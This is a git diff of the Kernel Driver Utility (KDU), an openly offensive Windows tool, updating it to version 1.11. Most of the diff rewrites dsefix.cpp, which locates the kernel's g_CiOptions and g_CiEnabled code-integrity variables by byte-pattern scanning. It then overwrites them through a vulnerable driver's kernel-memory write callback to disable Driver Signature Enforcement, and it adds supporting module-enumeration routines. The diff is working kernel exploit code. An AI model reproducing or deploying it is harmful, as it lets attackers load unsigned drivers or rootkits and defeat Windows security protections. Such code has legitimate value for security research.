diff --git a/Bin/kdu.exe b/Bin/kdu.exe index 96bf06d..dae2e1f 100644 Binary files a/Bin/kdu.exe and b/Bin/kdu.exe differ diff --git a/KDU.sha256 b/KDU.sha256 index a9dfd4e..b37a88d 100644 --- a/KDU.sha256 +++ b/KDU.sha256 @@ -1,7 +1,7 @@ d3a2d4ba16add4a2c961fc907355ac994dceedd4fb56aa1bc2d76b9bdef77bd8 *Bin\drv64.dll 293cb9a86a3f89e377ef5c6716d70bbdfd9c57ff0a07d484bd8abc1f521e70cc *Bin\dummy.sys 82370b38b940f98013a6506a82c35913ec810f312d93b93b5406f3caf07bda9f *Bin\dummy2.sys -6088884e1ec9a51fa955aa480e58aa8f72dbe5aff48311db3210851b1f621357 *Bin\kdu.exe +5a08ecb2fad5d5c701b4ec42bd0fab7b7b4616673b2d8fbd76557203c5340a0f *Bin\kdu.exe d1de3738065ee9682af1efa91a14addcf50bfc5828cf78efd7b5182a714fcdfd *Bin\license.txt 323d910f93683453d45239a0528d3c3cda7f2608fca864fd2a687184ffe129fe *Help\kdu1.png a1d7a51549914833a3414a93646952c25deabe072d8a271b54e10727f923b479 *Help\kdu2.png @@ -29,19 +29,19 @@ d45cf40c855a135898e4b35d0b5b2d00e3ad251a97d3f47990248116f22ff45e *Source\Example 10b9fe09b9357cb3c35a00a8b09ae24141ec5941a37c461c2a296d822aa2b512 *Source\Examples\DummyDrv2\dummy\r3request.c cdfccae79b68bc7e66063d9a625caf32ef834e9e050b658b2bfa180b806290f8 *Source\Hamakaze\compess.cpp 09fa3cdaa1416b81ba5ee304cf24897726902b9d33a76d879f604b7fe26b4dcc *Source\Hamakaze\compress.h -1ea97dcc58aea96d33f397bbc63b6d944b17577f23ca0d09c2a4b2fb50611a55 *Source\Hamakaze\consts.h +acb25477b7f510a22cdbb8f8fa3761bded6aaf47270b6714b336eab5f50044ee *Source\Hamakaze\consts.h 405d06a619c3f8194af6ed4953f4facbcd1b9cf839ab085a64825131b44e9533 *Source\Hamakaze\drvmap.cpp bf441b39bc025f2222b1e40fd1afde4fe997b251bce19423cc02b462c5ca929e *Source\Hamakaze\drvmap.h -4fd10c5322e8b2d69b5edcf9de4da77909e2570cdc9d4e68c8b918272ec5dd96 *Source\Hamakaze\dsefix.cpp +bbe92082740904e98938dbf615ca5c90fecc436eba56b4de01a50e4879bd1b3e *Source\Hamakaze\dsefix.cpp c8b1ae58b617d925bf2a19fd5c0a21071f653458d175482c2f2e74b55ecb6066 *Source\Hamakaze\dsefix.h e807980816397dfdb4cc89c9d549b5f363f0f8fa504f50cc5cc16053b7821c8b *Source\Hamakaze\global.h -ed3afa08537dbd43e856a58abd5b6c2b599a03199f3209c554714ea031f7d1ed *Source\Hamakaze\KDU.vcxproj +a55ad0fc69cd526ef95b76b87ab67dd03dad71e885d891f4ee544dc4414a8fc3 *Source\Hamakaze\KDU.vcxproj 2221ab91ba32ccbfed1838e242a0cb3c81b919a96bcd5749e1a594df6d73468d *Source\Hamakaze\KDU.vcxproj.filters -7cb3e3a095bbae12d3b5aba428c2d53670d98ccf98a69e62dc99779880be86d4 *Source\Hamakaze\KDU.vcxproj.user +526fb739aeafd4584983066a00e8d94f267651ceb1bd046065b8d7465b9bf265 *Source\Hamakaze\KDU.vcxproj.user a8e8429c248c3fb2d2a84877990f129ee1d4a77af267a63c55c579efadd6cc03 *Source\Hamakaze\kduplist.h c3b6c78d3d4a4542fbfe574a6c22ad7a6b9576670be8595261f3fead29d719de *Source\Hamakaze\kduprov.cpp 1bdeb9d16c67d2a8bc1b19f45687e8cc229387f5e37dbaa0fe4357a9a5646d62 *Source\Hamakaze\kduprov.h -68c365daf4aadaefcb00bde41e28778707768847e3c2c2948cdc8df0aa527400 *Source\Hamakaze\main.cpp +6ae9bc41831b501a5f4ea2c7261696065efb5c11d360ff12257fb3be149d2abf *Source\Hamakaze\main.cpp 7b7bc2ef8d075d44f2761f081516f3cd7bd76cb63fe555c9aee2b2c510742961 *Source\Hamakaze\pagewalk.cpp 545ecf7e669b6b28753a02e33fae6f503750d26cf0bf9089701f401fd24e0dd1 *Source\Hamakaze\pagewalk.h 6fab38e28fb9fe4e993a8ce5a932907155927e37cee865332099ffa848f2b394 *Source\Hamakaze\ps.cpp @@ -50,9 +50,9 @@ b8998a06b4f7a7bc724f22ee0adfad7636e66d75f46ebc065ab7898888fe6017 *Source\Hamakaz 60a6c8023d0daec521507f1668d72d4eadea4c355a87b12d11db62a0ec4d7d50 *Source\Hamakaze\resource.rc fbeefc07c581f2c75233f36878d1e345e9d4916853eb6bcadccdfa9c5fe894bf *Source\Hamakaze\shellcode.cpp 47f83ecc1674a80151a89994af0242e41a1638eea3fe61b9aceaa0ac437f2b13 *Source\Hamakaze\shellcode.h -b113f030438e723e9379f1de902f1afcec9fed8faf943b6ea30f0d576b37a2d7 *Source\Hamakaze\sup.cpp -269d186b1c328ff0481bdd55c39df33c0bbe6ff808708a585b2b8c75c43df3b6 *Source\Hamakaze\sup.h -6d5a057568acba58b46b1b23d2b2b5a3c96a2f658ad6e4e9e922eb72085b0f1a *Source\Hamakaze\tests.cpp +41a98d55095b3873b8d3057e223f440a34f992850436efd21024dc491d33a1d5 *Source\Hamakaze\sup.cpp +0d9c39f3b13871c096318adee651f89cd11ba9cab0d81644e3fb8f5ada3a8a85 *Source\Hamakaze\sup.h +a20e6c85a7a8db1556ce245d1d6da12e34ea7b12d0268d5f114c2d63b6910d2b *Source\Hamakaze\tests.cpp ad77ae168188a9748713ab5f7532447ca50a539fa8ebbec5ac86b273696b028e *Source\Hamakaze\tests.h e0564204976bd689d0dfb07be5f511c9f778848afb67cd62b56a01492f03bf7f *Source\Hamakaze\victim.cpp 57f9d6b92de51d66e43f12e9caceb2229a0aa4e84a43081d50cb632256c771a0 *Source\Hamakaze\victim.h diff --git a/Source/Hamakaze/KDU.vcxproj b/Source/Hamakaze/KDU.vcxproj index de3fbf4..58ce16e 100644 --- a/Source/Hamakaze/KDU.vcxproj +++ b/Source/Hamakaze/KDU.vcxproj @@ -20,10 +20,10 @@ Application - true v142 Unicode false + true Application diff --git a/Source/Hamakaze/KDU.vcxproj.user b/Source/Hamakaze/KDU.vcxproj.user index 2ab6dea..dcd114c 100644 --- a/Source/Hamakaze/KDU.vcxproj.user +++ b/Source/Hamakaze/KDU.vcxproj.user @@ -6,7 +6,7 @@ WindowsLocalDebugger - -prv 13 -map c:\install\dummy.sys + -dse 6 WindowsLocalDebugger \ No newline at end of file diff --git a/Source/Hamakaze/consts.h b/Source/Hamakaze/consts.h index 3f939c5..152ee90 100644 --- a/Source/Hamakaze/consts.h +++ b/Source/Hamakaze/consts.h @@ -6,7 +6,7 @@ * * VERSION: 1.11 * -* DATE: 18 Apr 2021 +* DATE: 14 May 2021 * * Global consts. * @@ -24,8 +24,8 @@ #define PROCEXP152 L"PROCEXP152" -#define NTOSKRNL_EXE "ntoskrnl.exe" -#define CI_DLL "CI.dll" +#define NTOSKRNL_EXE L"ntoskrnl.exe" +#define CI_DLL L"CI.dll" #define DRV64DLL L"drv64.dll" #define DUMMYDLL L"SB_SMBUS_SDK.dll" @@ -112,4 +112,4 @@ #define NT_WIN10_21H1 19043 // Windows 10 Active Develepment Branch (21XX) -#define NTX_WIN10_ADB 21359 +#define NTX_WIN10_ADB 21376 diff --git a/Source/Hamakaze/dsefix.cpp b/Source/Hamakaze/dsefix.cpp index 57eff65..4c71d91 100644 --- a/Source/Hamakaze/dsefix.cpp +++ b/Source/Hamakaze/dsefix.cpp @@ -4,9 +4,9 @@ * * TITLE: DSEFIX.CPP * -* VERSION: 1.10 +* VERSION: 1.11 * -* DATE: 17 Apr 2021 +* DATE: 14 May 2021 * * CI DSE corruption related routines. * Based on DSEFix v1.3 @@ -20,6 +20,88 @@ #include "global.h" +ULONG KDUpCheckInstructionBlock( + _In_ PBYTE Code, + _In_ ULONG Offset +) +{ + ULONG offset = Offset; + hde64s hs; + + RtlSecureZeroMemory(&hs, sizeof(hs)); + + hde64_disasm(&Code[offset], &hs); + if (hs.flags & F_ERROR) + return 0; + + if (hs.len != 3) + return 0; + + // + // mov r9, rbx + // + if (Code[offset] != 0x4C || + Code[offset + 1] != 0x8B) + { + return 0; + } + + offset += hs.len; + + hde64_disasm(&Code[offset], &hs); + if (hs.flags & F_ERROR) + return 0; + + if (hs.len != 3) + return 0; + + // + // mov r8, rdi + // + if (Code[offset] != 0x4C || + Code[offset + 1] != 0x8B) + { + return 0; + } + + offset += hs.len; + + hde64_disasm(&Code[offset], &hs); + if (hs.flags & F_ERROR) + return 0; + if (hs.len != 3) + return 0; + + // + // mov rdx, rsi + // + if (Code[offset] != 0x48 || + Code[offset + 1] != 0x8B) + { + return 0; + } + + offset += hs.len; + + hde64_disasm(&Code[offset], &hs); + if (hs.flags & F_ERROR) + return 0; + + if (hs.len != 2) + return 0; + + // + // mov ecx, ebp + // + if (Code[offset] != 0x8B || + Code[offset + 1] != 0xCD) + { + return 0; + } + + return offset + hs.len; +} + /* * KDUQueryCiEnabled * @@ -28,24 +110,29 @@ * Find g_CiEnabled variable address for Windows 7. * */ -LONG KDUQueryCiEnabled( - _In_ PVOID MappedBase, - _In_ SIZE_T SizeOfImage, - _Inout_ ULONG_PTR* KernelBase +NTSTATUS KDUQueryCiEnabled( + _In_ HMODULE ImageMappedBase, + _In_ ULONG_PTR ImageLoadedBase, + _Out_ ULONG_PTR* ResolvedAddress, + _In_ SIZE_T SizeOfImage ) { - SIZE_T c; - LONG rel = 0; + NTSTATUS ntStatus = STATUS_UNSUCCESSFUL; + SIZE_T c; + LONG rel = 0; + + *ResolvedAddress = 0; for (c = 0; c < SizeOfImage - sizeof(DWORD); c++) { - if (*(PDWORD)((PBYTE)MappedBase + c) == 0x1d8806eb) { - rel = *(PLONG)((PBYTE)MappedBase + c + 4); - *KernelBase = *KernelBase + c + 8 + rel; + if (*(PDWORD)((PBYTE)ImageMappedBase + c) == 0x1d8806eb) { + rel = *(PLONG)((PBYTE)ImageMappedBase + c + 4); + *ResolvedAddress = ImageLoadedBase + c + 8 + rel; + ntStatus = STATUS_SUCCESS; break; } } - return rel; + return ntStatus; } /* @@ -56,84 +143,150 @@ LONG KDUQueryCiEnabled( * Find g_CiOptions variable address. * Depending on current Windows version it will look for target value differently. * +* Params: +* +* ImageMappedBase - CI.dll user mode mapped base +* ImageLoadedBase - CI.dll kernel mode loaded base +* ResolvedAddress - output variable to hold result value +* NtBuildNumber - current NT build number for search pattern switch +* */ -LONG KDUQueryCiOptions( - _In_ HMODULE MappedBase, - _Inout_ ULONG_PTR* KernelBase, +NTSTATUS KDUQueryCiOptions( + _In_ HMODULE ImageMappedBase, + _In_ ULONG_PTR ImageLoadedBase, + _Out_ ULONG_PTR* ResolvedAddress, _In_ ULONG NtBuildNumber ) { - PBYTE CiInitialize = NULL; - ULONG c, j = 0; - LONG rel = 0; + PBYTE ptrCode = NULL; + ULONG offset, k, expectedLength; + LONG relativeValue = 0; + ULONG_PTR resolvedAddress = 0; + hde64s hs; - CiInitialize = (PBYTE)GetProcAddress(MappedBase, "CiInitialize"); - if (CiInitialize == NULL) - return 0; + *ResolvedAddress = 0ULL; - if (NtBuildNumber >= NT_WIN10_REDSTONE3) { + ptrCode = (PBYTE)GetProcAddress(ImageMappedBase, (PCHAR)"CiInitialize"); + if (ptrCode == NULL) + return STATUS_PROCEDURE_NOT_FOUND; - c = 0; - j = 0; - do { + RtlSecureZeroMemory(&hs, sizeof(hs)); + offset = 0; - /* call CipInitialize */ - if (CiInitialize[c] == 0xE8) - j++; + // + // For Win7, Win8/8.1, Win10 until RS3 + // + if (NtBuildNumber < NT_WIN10_REDSTONE3) { - if (j > 1) { - rel = *(PLONG)(CiInitialize + c + 1); - break; - } + expectedLength = 5; + + do { - hde64_disasm(CiInitialize + c, &hs); + hde64_disasm(&ptrCode[offset], &hs); if (hs.flags & F_ERROR) break; - c += hs.len; - } while (c < 256); + if (hs.len == expectedLength) { //test if jmp + // + // jmp CipInitialize + // + if (ptrCode[offset] == 0xE9) { + relativeValue = *(PLONG)(ptrCode + offset + 1); + break; + } + + } + + offset += hs.len; + + } while (offset < 256); } else { + // + // Everything above Win10 RS3. + // + expectedLength = 3; - c = 0; do { - /* jmp CipInitialize */ - if (CiInitialize[c] == 0xE9) { - rel = *(PLONG)(CiInitialize + c + 1); - break; - } - hde64_disasm(CiInitialize + c, &hs); + hde64_disasm(&ptrCode[offset], &hs); if (hs.flags & F_ERROR) break; - c += hs.len; - } while (c < 256); + if (hs.len == expectedLength) { + + // + // Parameters for the CipInitialize. + // + k = KDUpCheckInstructionBlock(ptrCode, + offset); + + if (k != 0) { + + expectedLength = 5; + hde64_disasm(&ptrCode[k], &hs); + if (hs.flags & F_ERROR) + break; + + // + // call CipInitialize + // + if (hs.len == expectedLength) { + if (ptrCode[k] == 0xE8) { + offset = k; + relativeValue = *(PLONG)(ptrCode + k + 1); + break; + } + } + + } + + } + + offset += hs.len; + + } while (offset < 256); } - CiInitialize = CiInitialize + c + 5 + rel; - c = 0; + if (relativeValue == 0) + return STATUS_UNSUCCESSFUL; + + ptrCode = ptrCode + offset + hs.len + relativeValue; + relativeValue = 0; + offset = 0; + expectedLength = 6; + do { - if (*(PUSHORT)(CiInitialize + c) == 0x0d89) { - rel = *(PLONG)(CiInitialize + c + 2); - break; - } - hde64_disasm(CiInitialize + c, &hs); + hde64_disasm(&ptrCode[offset], &hs); if (hs.flags & F_ERROR) break; - c += hs.len; - } while (c < 256); + if (hs.len == expectedLength) { //test if mov + + if (*(PUSHORT)(ptrCode + offset) == 0x0d89) { + relativeValue = *(PLONG)(ptrCode + offset + 2); + break; + } + + } - CiInitialize = CiInitialize + c + 6 + rel; + offset += hs.len; - *KernelBase = *KernelBase + CiInitialize - (PBYTE)MappedBase; + } while (offset < 256); - return rel; + if (relativeValue == 0) + return STATUS_UNSUCCESSFUL; + + ptrCode = ptrCode + offset + hs.len + relativeValue; + resolvedAddress = ImageLoadedBase + ptrCode - (PBYTE)ImageMappedBase; + + *ResolvedAddress = resolvedAddress; + + return STATUS_SUCCESS; } /* @@ -149,72 +302,106 @@ ULONG_PTR KDUQueryVariable( _In_ ULONG NtBuildNumber ) { - LONG rel = 0; - SIZE_T SizeOfImage = 0; - ULONG_PTR Result = 0, ModuleKernelBase = 0; - CONST CHAR* szModuleName; - HMODULE MappedModule; + NTSTATUS ntStatus; + ULONG loadedImageSize = 0; + SIZE_T sizeOfImage = 0; + ULONG_PTR Result = 0, imageLoadedBase, kernelAddress = 0; + LPWSTR lpModuleName; + HMODULE mappedImageBase; - CHAR szFullModuleName[MAX_PATH * 2]; + WCHAR szFullModuleName[MAX_PATH * 2]; if (NtBuildNumber < NT_WIN8_BLUE) { - szModuleName = NTOSKRNL_EXE; + lpModuleName = (LPWSTR)NTOSKRNL_EXE; } else { - szModuleName = CI_DLL; + lpModuleName = (LPWSTR)CI_DLL; } - ModuleKernelBase = supGetModuleBaseByName(szModuleName); - if (ModuleKernelBase == 0) { - - supPrintfEvent(kduEventError, - "[!] Abort, could not query \"%s\" image base\r\n", szModuleName); - + imageLoadedBase = supGetModuleBaseByName(lpModuleName, &loadedImageSize); + if (imageLoadedBase == 0) { + + supPrintfEvent(kduEventError, + "[!] Abort, could not query \"%ws\" image base\r\n", lpModuleName); + return 0; } szFullModuleName[0] = 0; - if (!GetSystemDirectoryA(szFullModuleName, MAX_PATH)) + if (!GetSystemDirectory(szFullModuleName, MAX_PATH)) return 0; - _strcat_a(szFullModuleName, "\\"); - _strcat_a(szFullModuleName, szModuleName); + _strcat(szFullModuleName, TEXT("\\")); + _strcat(szFullModuleName, lpModuleName); // // Preload module for pattern search. // - MappedModule = LoadLibraryExA(szFullModuleName, NULL, DONT_RESOLVE_DLL_REFERENCES); - if (MappedModule) { + mappedImageBase = LoadLibraryEx(szFullModuleName, NULL, DONT_RESOLVE_DLL_REFERENCES); + if (mappedImageBase) { - printf_s("[+] Module \"%s\" loaded for pattern search\r\n", szModuleName); + printf_s("[+] Module \"%ws\" loaded for pattern search\r\n", lpModuleName); if (NtBuildNumber < NT_WIN8_BLUE) { - rel = KDUQueryCiEnabled( - MappedModule, - SizeOfImage, - &ModuleKernelBase); + + ntStatus = supQueryImageSize(mappedImageBase, + &sizeOfImage); + + if (NT_SUCCESS(ntStatus)) { + + ntStatus = KDUQueryCiEnabled(mappedImageBase, + imageLoadedBase, + &kernelAddress, + sizeOfImage); + + } } else { - rel = KDUQueryCiOptions( - MappedModule, - &ModuleKernelBase, + + ntStatus = KDUQueryCiOptions(mappedImageBase, + imageLoadedBase, + &kernelAddress, NtBuildNumber); + + } + + if (NT_SUCCESS(ntStatus)) { + + if (IN_REGION(kernelAddress, + imageLoadedBase, + loadedImageSize)) + { + Result = kernelAddress; + } + else { + + supPrintfEvent(kduEventError, + "[!] Resolved address 0x%llX does not belong required module.\r\n", + kernelAddress); + + } + } + else { + + supPrintfEvent(kduEventError, + "[!] Failed to locate kernel variable address, NTSTATUS (0x%lX)\r\n", + ntStatus); - if (rel != 0) { - Result = ModuleKernelBase; } - FreeLibrary(MappedModule); + + FreeLibrary(mappedImageBase); + } else { // // Output error. // - supPrintfEvent(kduEventError, - "[!] Could not load \"%s\", GetLastError %lu\r\n", - szModuleName, + supPrintfEvent(kduEventError, + "[!] Could not load \"%ws\", GetLastError %lu\r\n", + lpModuleName, GetLastError()); } @@ -237,93 +424,96 @@ BOOL KDUControlDSE( { BOOL bResult = FALSE; ULONG_PTR variableAddress; - ULONG returnLength = 0; - NTSTATUS ntStatus; - SYSTEM_CODEINTEGRITY_INFORMATION state; + ULONG ulFlags = 0; FUNCTION_ENTER_MSG(__FUNCTION__); - state.CodeIntegrityOptions = 0; - state.Length = sizeof(state); + variableAddress = KDUQueryVariable(Context->NtBuildNumber); + if (variableAddress == 0) { + + supPrintfEvent(kduEventError, + "[!] Could not query system variable address, abort.\r\n"); - // - // Query DSE state. - // + } + else { + + // + // Read current flags state. + // + bResult = Context->Provider->Callbacks.ReadKernelVM(Context->DeviceHandle, + variableAddress, + &ulFlags, + sizeof(ulFlags)); + + if (!bResult) { + supPrintfEvent(kduEventError, + "[!] Could not query DSE state, GetLastError %lu\r\n", + GetLastError()); - ntStatus = NtQuerySystemInformation(SystemCodeIntegrityInformation, - (PVOID)&state, sizeof(SYSTEM_CODEINTEGRITY_INFORMATION), - &returnLength); - - if (NT_SUCCESS(ntStatus)) { - - if (state.CodeIntegrityOptions & CODEINTEGRITY_OPTION_ENABLED) { - printf_s("[+] System reports CodeIntegrityOption Enabled\r\n"); - - // - // Check if DSE is enabled so we don't need to enable it again. - // - // CI status does not updated on Win7. - // - if (Context->NtBuildNumber >= NT_WIN10_THRESHOLD1) { - if (DSEValue == 6) { - - supPrintfEvent(kduEventError, - "[!] DSE already enabled, nothing to do, leaving.\r\n"); - - return TRUE; - } - } } else { - printf_s("[+] System reports CodeIntegrityOption Disabled\r\n"); - - // - // Check if DSE is disabled so we don't need to disable it again. - // - if (Context->NtBuildNumber >= NT_WIN10_THRESHOLD1) { + printf_s("[+] DSE flags (0x%p) value: %lX, new value to be written: %lX\r\n", + (PVOID)variableAddress, + ulFlags, + DSEValue); - if (DSEValue == 0) { - - supPrintfEvent(kduEventError, - "[!] DSE already disabled, nothing to do, leaving.\r\n"); - - return TRUE; - } + if (DSEValue == ulFlags) { + printf_s("[~] Warning, current value is identical to what you want to write\r\n"); } - } - } + DWORD dwLastError; - // - // Assume variable is in nonpaged .data section. - // + bResult = Context->Provider->Callbacks.WriteKernelVM(Context->DeviceHandle, + variableAddress, + &DSEValue, + sizeof(DSEValue)); - variableAddress = KDUQueryVariable(Context->NtBuildNumber); - if (variableAddress == 0) { + dwLastError = GetLastError(); - supPrintfEvent(kduEventError, - "[!] Could not query system variable address, abort.\r\n"); + if (bResult) { - } - else { + printf_s("[+] Kernel memory write complete, verifying data\r\n"); - printf_s("[+] Corrupting DSE value at 0x%p address\r\n", (PVOID)variableAddress); + // + // Verify write. + // + ulFlags = 0; + bResult = Context->Provider->Callbacks.ReadKernelVM(Context->DeviceHandle, + variableAddress, + &ulFlags, + sizeof(ulFlags)); - bResult = Context->Provider->Callbacks.WriteKernelVM(Context->DeviceHandle, - variableAddress, - &DSEValue, - sizeof(DSEValue)); + dwLastError = GetLastError(); - supPrintfEvent( - (bResult == FALSE) ? kduEventError : kduEventNone, - "%s Kernel memory %s\r\n", - (bResult == FALSE) ? "[!]" : "[+]", - (bResult == FALSE) ? "not patched" : "patched"); + if (bResult) { - } + bResult = (ulFlags == DSEValue); + + supPrintfEvent( + (bResult == FALSE) ? kduEventError : kduEventInformation, + "%s Write result verification %s\r\n", + (bResult == FALSE) ? "[!]" : "[+]", + (bResult == FALSE) ? "failed" : "succeeded"); + } + else { + supPrintfEvent(kduEventError, + "[!] Could not verify kernel memory write, GetLastError %lu\r\n", + dwLastError); + + } + } + else { + supPrintfEvent(kduEventError, + "[!] Error while writing to the kernel memory, GetLastError %lu\r\n", + dwLastError); + } + + } + } + FUNCTION_LEAVE_MSG(__FUNCTION__); return bResult; diff --git a/Source/Hamakaze/main.cpp b/Source/Hamakaze/main.cpp index 97212f7..6e10f11 100644 --- a/Source/Hamakaze/main.cpp +++ b/Source/Hamakaze/main.cpp @@ -6,7 +6,7 @@ * * VERSION: 1.11 * -* DATE: 18 Apr 2021 +* DATE: 14 May 2021 * * Hamakaze main logic and entrypoint. * @@ -47,7 +47,6 @@ volatile LONG g_lApplicationInstances = 0; "-drvn name - driver object name (only valid for shellcode version 3)\r\n"\ "-drvr name - optional, driver registry key name (only valid for shellcode version 3)\r\n" -#define T_KDUINTRO "[#] Kernel Driver Utility v1.1.1 started, (c) 2020 - 2021 KDU Project\r\n[#] Supported x64 OS: Windows 7 and above" #define T_PRNTDEFAULT "%s\r\n" /* @@ -522,6 +521,25 @@ int KDUMain() return iResult; } +/* +* KDUIntroBanner +* +* Purpose: +* +* Display general KDU version info. +* +*/ +VOID KDUIntroBanner() +{ + IMAGE_NT_HEADERS* ntHeaders = RtlImageNtHeader(NtCurrentPeb()->ImageBaseAddress); + + printf_s("[#] Kernel Driver Utility v1.1.1 started, (c)2020 - 2021 KDU Project\r\n"\ + "[#] Build at %s, header checksum 0x%lX\r\n"\ + "[#] Supported x64 OS : Windows 7 and above\r\n", + __TIMESTAMP__, + ntHeaders->OptionalHeader.CheckSum); +} + /* * main * @@ -532,9 +550,11 @@ int KDUMain() */ int main() { + + HeapSetInformation(NULL, HeapEnableTerminationOnCorruption, NULL, 0); - printf_s(T_PRNTDEFAULT, T_KDUINTRO); + KDUIntroBanner(); int retVal = 0; diff --git a/Source/Hamakaze/sup.cpp b/Source/Hamakaze/sup.cpp index 803d2b2..644a903 100644 --- a/Source/Hamakaze/sup.cpp +++ b/Source/Hamakaze/sup.cpp @@ -6,7 +6,7 @@ * * VERSION: 1.11 * -* DATE: 18 Apr 2021 +* DATE: 14 May 2021 * * Program global support routines. * @@ -652,6 +652,87 @@ PVOID supGetSystemInfo( return NULL; } +/* +* supGetLoadedModulesList +* +* Purpose: +* +* Read list of loaded kernel modules. +* +*/ +PVOID supGetLoadedModulesList( + _In_ BOOL ExtendedOutput, + _Out_opt_ PULONG ReturnLength +) +{ + NTSTATUS ntStatus; + PVOID buffer; + ULONG bufferSize = PAGE_SIZE; + + PRTL_PROCESS_MODULES pvModules; + SYSTEM_INFORMATION_CLASS infoClass; + + if (ReturnLength) + *ReturnLength = 0; + + if (ExtendedOutput) + infoClass = SystemModuleInformationEx; + else + infoClass = SystemModuleInformation; + + buffer = supHeapAlloc((SIZE_T)bufferSize); + if (buffer == NULL) + return NULL; + + ntStatus = NtQuerySystemInformation( + infoClass, + buffer, + bufferSize, + &bufferSize); + + if (ntStatus == STATUS_INFO_LENGTH_MISMATCH) { + supHeapFree(buffer); + buffer = supHeapAlloc((SIZE_T)bufferSize); + + ntStatus = NtQuerySystemInformation( + infoClass, + buffer, + bufferSize, + &bufferSize); + } + + if (ReturnLength) + *ReturnLength = bufferSize; + + // + // Handle unexpected return. + // + // If driver image path exceeds structure field size then + // RtlUnicodeStringToAnsiString will throw STATUS_BUFFER_OVERFLOW. + // + // If this is the last driver in the enumeration service will return + // valid data but STATUS_BUFFER_OVERFLOW in result. + // + if (ntStatus == STATUS_BUFFER_OVERFLOW) { + + // + // Force ignore this status if list is not empty. + // + pvModules = (PRTL_PROCESS_MODULES)buffer; + if (pvModules->NumberOfModules != 0) + return buffer; + } + + if (NT_SUCCESS(ntStatus)) { + return buffer; + } + + if (buffer) + supHeapFree(buffer); + + return NULL; +} + /* * supGetNtOsBase * @@ -667,10 +748,10 @@ ULONG_PTR supGetNtOsBase( PRTL_PROCESS_MODULES miSpace; ULONG_PTR NtOsBase = 0; - miSpace = (PRTL_PROCESS_MODULES)supGetSystemInfo(SystemModuleInformation); + miSpace = (PRTL_PROCESS_MODULES)supGetLoadedModulesList(FALSE, NULL); if (miSpace) { NtOsBase = (ULONG_PTR)miSpace->Modules[0].ImageBase; - RtlFreeHeap(NtCurrentPeb()->ProcessHeap, 0, miSpace); + supHeapFree(miSpace); } return NtOsBase; } @@ -1578,27 +1659,49 @@ ULONG supGetTimeAsSecondsSince1970() * */ ULONG_PTR supGetModuleBaseByName( - _In_ LPCSTR ModuleName + _In_ LPCWSTR ModuleName, + _Out_opt_ PULONG ImageSize ) { ULONG_PTR ReturnAddress = 0; ULONG i, k; PRTL_PROCESS_MODULES miSpace; - miSpace = (PRTL_PROCESS_MODULES)supGetSystemInfo(SystemModuleInformation); + ANSI_STRING moduleName; + + if (ImageSize) + *ImageSize = 0; + + moduleName.Buffer = NULL; + moduleName.Length = moduleName.MaximumLength = 0; + + if (!NT_SUCCESS(supConvertToAnsi(ModuleName, &moduleName))) + return 0; + + miSpace = (PRTL_PROCESS_MODULES)supGetLoadedModulesList(FALSE, NULL); if (miSpace != NULL) { + for (i = 0; i < miSpace->NumberOfModules; i++) { + k = miSpace->Modules[i].OffsetToFileName; if (_strcmpi_a( (CONST CHAR*) & miSpace->Modules[i].FullPathName[k], - ModuleName) == 0) + moduleName.Buffer) == 0) { ReturnAddress = (ULONG_PTR)miSpace->Modules[i].ImageBase; + if (ImageSize) + *ImageSize = miSpace->Modules[i].ImageSize; break; } + } + supHeapFree(miSpace); + } + + RtlFreeAnsiString(&moduleName); + return ReturnAddress; } @@ -1824,3 +1927,55 @@ VOID supPrintfEvent( // SetConsoleTextAttribute(stdHandle, origColor); } + +/* +* supQueryImageSize +* +* Purpose: +* +* Get image size from PEB loader list. +* +*/ +NTSTATUS supQueryImageSize( + _In_ PVOID ImageBase, + _Out_ PSIZE_T ImageSize +) +{ + NTSTATUS ntStatus; + LDR_DATA_TABLE_ENTRY *ldrEntry = NULL; + + *ImageSize = 0; + + ntStatus = LdrFindEntryForAddress( + ImageBase, + &ldrEntry); + + if (NT_SUCCESS(ntStatus)) { + + *ImageSize = ldrEntry->SizeOfImage; + + } + + return ntStatus; +} + +/* +* supConvertToAnsi +* +* Purpose: +* +* Convert UNICODE string to ANSI string. +* +* N.B. +* If function succeeded - use RtlFreeAnsiString to release allocated string. +* +*/ +NTSTATUS supConvertToAnsi( + _In_ LPCWSTR UnicodeString, + _Inout_ PANSI_STRING AnsiString) +{ + UNICODE_STRING unicodeString; + + RtlInitUnicodeString(&unicodeString, UnicodeString); + return RtlUnicodeStringToAnsiString(AnsiString, &unicodeString, TRUE); +} diff --git a/Source/Hamakaze/sup.h b/Source/Hamakaze/sup.h index 6cbd659..8b6537e 100644 --- a/Source/Hamakaze/sup.h +++ b/Source/Hamakaze/sup.h @@ -4,9 +4,9 @@ * * TITLE: SUP.H * -* VERSION: 1.10 +* VERSION: 1.11 * -* DATE: 16 Apr 2021 +* DATE: 14 May 2021 * * Support routines header file. * @@ -76,6 +76,10 @@ NTSTATUS supOpenDriver( _In_ ACCESS_MASK DesiredAccess, _Out_ PHANDLE DeviceHandle); +PVOID supGetLoadedModulesList( + _In_ BOOL ExtendedOutput, + _Out_opt_ PULONG ReturnLength); + PVOID supGetSystemInfo( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass); @@ -155,7 +159,8 @@ NTSTATUS supCreateSystemAdminAccessSD( ULONG supGetTimeAsSecondsSince1970(); ULONG_PTR supGetModuleBaseByName( - _In_ LPCSTR ModuleName); + _In_ LPCWSTR ModuleName, + _Out_opt_ PULONG ImageSize); BOOL supManageDummyDll( _In_ LPCWSTR lpDllName, @@ -172,3 +177,11 @@ VOID supPrintfEvent( _In_ KDU_EVENT_TYPE Event, _Printf_format_string_ LPCSTR Format, ...); + +NTSTATUS supQueryImageSize( + _In_ PVOID ImageBase, + _Out_ PSIZE_T ImageSize); + +NTSTATUS supConvertToAnsi( + _In_ LPCWSTR UnicodeString, + _Inout_ PANSI_STRING AnsiString); diff --git a/Source/Hamakaze/tests.cpp b/Source/Hamakaze/tests.cpp index 501a43b..11be5dd 100644 --- a/Source/Hamakaze/tests.cpp +++ b/Source/Hamakaze/tests.cpp @@ -4,9 +4,9 @@ * * TITLE: TESTS.CPP * -* VERSION: 1.10 +* VERSION: 1.11 * -* DATE: 01 Apr 2021 +* DATE: 14 May 2021 * * KDU tests. *